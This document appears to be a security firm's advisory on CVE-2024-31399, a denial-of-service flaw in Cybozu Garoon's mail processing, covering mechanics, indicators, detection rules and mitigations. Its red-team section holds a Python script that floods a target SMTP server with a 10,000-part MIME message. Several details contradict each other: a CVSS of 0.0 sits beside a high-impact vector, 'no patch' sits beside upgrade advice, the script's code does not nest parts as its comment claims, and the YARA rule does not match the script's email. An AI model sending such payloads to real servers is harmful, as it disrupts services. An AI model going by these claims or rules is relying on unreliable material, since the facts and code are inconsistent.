CVE-2024-31399

Executive Summary

CVE-2024-31399 is a denial-of-service (DoS) vulnerability affecting Cybozu Garoon versions 5.0.0 through 5.15.2. The flaw resides in an excessive platform resource consumption within a loop, triggered by processing a crafted email. Successful exploitation can lead to resource exhaustion, causing the application to become unresponsive. No public proof-of-concept (PoC) or patch details are currently available. The vulnerability is classified under CWE-834 (Excessive Loop Iteration) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Threat Level: Medium (based on DoS impact and lack of authentication requirement)
• Attack Vector: Network (mail processing)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

Deep Dive & Mechanics

The vulnerability exists in the mail processing component of Cybozu Garoon. When the application receives a specially crafted email, it enters an infinite or excessively long loop due to improper input validation or resource management. This loop consumes CPU and memory resources, leading to a denial-of-service condition. The exact mechanism involves parsing malformed email headers or body content that triggers a loop without proper termination conditions.

The affected versions (5.0.0 to 5.15.2) lack safeguards against such resource exhaustion. The vulnerability is exploitable remotely without authentication, as the mail processing function is exposed to incoming emails.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code likely resides in the email parsing library or the loop handling routine. A hypothetical fix would involve:

• Adding iteration limits to loops processing email parts.
• Implementing timeouts for mail parsing operations.
• Validating email structure before entering processing loops.

// Vulnerable pseudo-code
while (has_next_part(email)) {
    process_part(email->current_part);
}

// Patched pseudo-code
int max_parts = 1000;
int part_count = 0;
while (has_next_part(email) && part_count < max_parts) {
    process_part(email->current_part);
    part_count++;
}

Exploitation & Lab Setup

Red Team

1. Setup: Deploy Cybozu Garoon 5.15.2 in a controlled environment.
2. Craft Malicious Email: Create an email with an infinite nesting of MIME parts or a header that causes an endless loop.
3. Send Email: Use SMTP to deliver the crafted email to the Garoon mail processing endpoint.
4. Observe DoS: Monitor resource usage (CPU/memory) until the service becomes unresponsive.

# Example email crafting script (conceptual)
import smtplib
from email.mime.multipart import MIMEMultipart

msg = MIMEMultipart()
msg['Subject'] = 'DoS Trigger'
msg['From'] = 'attacker@example.com'
msg['To'] = 'target@garoon.local'

# Add deeply nested parts to trigger loop
for i in range(10000):
    msg.attach(MIMEMultipart())

with smtplib.SMTP('target.garoon.local', 25) as server:
    server.send_message(msg)

Blue Team

1. Detection: Monitor for high CPU/memory usage spikes in the Garoon process.
2. Mitigation: Implement rate limiting on incoming mail processing.
3. Forensics: Capture the malicious email for analysis.
4. Containment: Block the sender IP and quarantine the email.

Indicators of Compromise (IOCs)

• Network: SMTP connections from unusual IPs with large email payloads.
• System: High CPU usage by the Garoon process (e.g., java or tomcat).
• Logs: Garoon mail processing logs showing excessive processing time or memory errors.
• Email: Emails with abnormally high number of MIME parts or nested structures.

Detection Engineering

YARA Rule

rule CVE_2024_31399_DoS_Email {
    meta:
        description = "Detects crafted emails exploiting CVE-2024-31399"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $mime_boundary = /Content-Type: multipart\/mixed;\s*boundary="[^"]{100,}"/
        $nested_parts = /Content-Type: multipart\/mixed;\s*boundary="[^"]+"\s*\n\s*--[^\n]+\n\s*Content-Type: multipart\/mixed/
    condition:
        $mime_boundary or $nested_parts
}

Sigma Rule

title: CVE-2024-31399 - Excessive Loop in Mail Processing
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential DoS exploitation via crafted email in Cybozu Garoon
logsource:
    product: application
    service: garoon
detection:
    selection:
        EventID: 1001  # Example: High resource usage event
        ProcessName: 'garoon*'
        CPUUsage: '>90'
    condition: selection
falsepositives:
    - Legitimate large emails
level: high

Suricata Rule

alert smtp any any -> any 25 (msg:"CVE-2024-31399 - Excessive MIME Parts in Email"; flow:to_server; content:"Content-Type: multipart/mixed"; depth:100; pcre:"/boundary=\"[^\"]{100,}\"/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable mail processing if not required, or implement input validation to limit email complexity.
• Long-term: Apply vendor patch when available. Upgrade to a patched version beyond 5.15.2.
• Workaround: Use a mail gateway to filter emails with excessive MIME parts or nested structures.
• Monitoring: Enable resource monitoring and alerting for the Garoon process.

Valters IT signature: This report is provided for authorized security testing and defense purposes only. Unauthorized use is prohibited.